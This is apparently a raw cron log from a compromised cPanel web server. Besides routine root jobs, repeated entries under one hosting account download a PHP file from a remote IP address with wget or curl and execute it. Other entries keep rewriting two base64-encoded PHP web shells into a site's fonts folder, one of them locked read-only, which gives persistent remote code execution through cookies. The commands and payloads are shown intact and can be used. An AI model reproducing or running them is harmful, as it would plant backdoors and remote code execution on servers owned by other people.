Sep 20 14:44:01 ip-184-168-122-23 CROND[32703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:44:01 ip-184-168-122-23 CROND[32702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:45:01 ip-184-168-122-23 CROND[516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:45:01 ip-184-168-122-23 CROND[518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:45:01 ip-184-168-122-23 CROND[523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:45:01 ip-184-168-122-23 CROND[524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:45:01 ip-184-168-122-23 CROND[526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:45:01 ip-184-168-122-23 CROND[527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:46:01 ip-184-168-122-23 CROND[802]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:46:01 ip-184-168-122-23 CROND[804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:46:01 ip-184-168-122-23 CROND[806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:46:01 ip-184-168-122-23 CROND[807]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 14:46:01 ip-184-168-122-23 CROND[809]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 14:46:01 ip-184-168-122-23 CROND[808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:46:01 ip-184-168-122-23 CROND[810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:47:01 ip-184-168-122-23 CROND[1089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:47:01 ip-184-168-122-23 CROND[1091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:47:01 ip-184-168-122-23 CROND[1096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:47:01 ip-184-168-122-23 CROND[1097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:48:01 ip-184-168-122-23 CROND[1333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:48:01 ip-184-168-122-23 CROND[1335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:48:01 ip-184-168-122-23 CROND[1339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:48:01 ip-184-168-122-23 CROND[1338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:48:01 ip-184-168-122-23 CROND[1340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:49:01 ip-184-168-122-23 CROND[1628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:49:01 ip-184-168-122-23 CROND[1630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:49:01 ip-184-168-122-23 CROND[1632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:49:01 ip-184-168-122-23 CROND[1635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:50:01 ip-184-168-122-23 CROND[1967]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:50:01 ip-184-168-122-23 CROND[1969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:50:01 ip-184-168-122-23 CROND[1973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:50:01 ip-184-168-122-23 CROND[1974]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:50:01 ip-184-168-122-23 CROND[1972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:50:01 ip-184-168-122-23 CROND[1979]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 14:50:01 ip-184-168-122-23 CROND[1980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:50:01 ip-184-168-122-23 CROND[1977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:50:01 ip-184-168-122-23 CROND[1981]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 14:51:01 ip-184-168-122-23 CROND[2411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:51:01 ip-184-168-122-23 CROND[2412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:51:01 ip-184-168-122-23 CROND[2414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:51:01 ip-184-168-122-23 CROND[2413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:52:01 ip-184-168-122-23 CROND[2687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:52:01 ip-184-168-122-23 CROND[2689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:52:01 ip-184-168-122-23 CROND[2691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:52:01 ip-184-168-122-23 CROND[2690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:52:01 ip-184-168-122-23 CROND[2692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:53:01 ip-184-168-122-23 CROND[2946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:53:01 ip-184-168-122-23 CROND[2948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:53:01 ip-184-168-122-23 CROND[2949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:53:01 ip-184-168-122-23 CROND[2950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:54:01 ip-184-168-122-23 CROND[3208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:54:01 ip-184-168-122-23 CROND[3209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:54:01 ip-184-168-122-23 CROND[3215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:54:01 ip-184-168-122-23 CROND[3212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:54:01 ip-184-168-122-23 CROND[3213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:55:01 ip-184-168-122-23 CROND[3672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:55:01 ip-184-168-122-23 CROND[3674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:55:01 ip-184-168-122-23 CROND[3675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:55:01 ip-184-168-122-23 CROND[3676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:55:01 ip-184-168-122-23 CROND[3677]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:55:01 ip-184-168-122-23 CROND[3678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:56:01 ip-184-168-122-23 CROND[4022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:56:01 ip-184-168-122-23 CROND[4024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:56:01 ip-184-168-122-23 CROND[4026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:56:01 ip-184-168-122-23 CROND[4025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
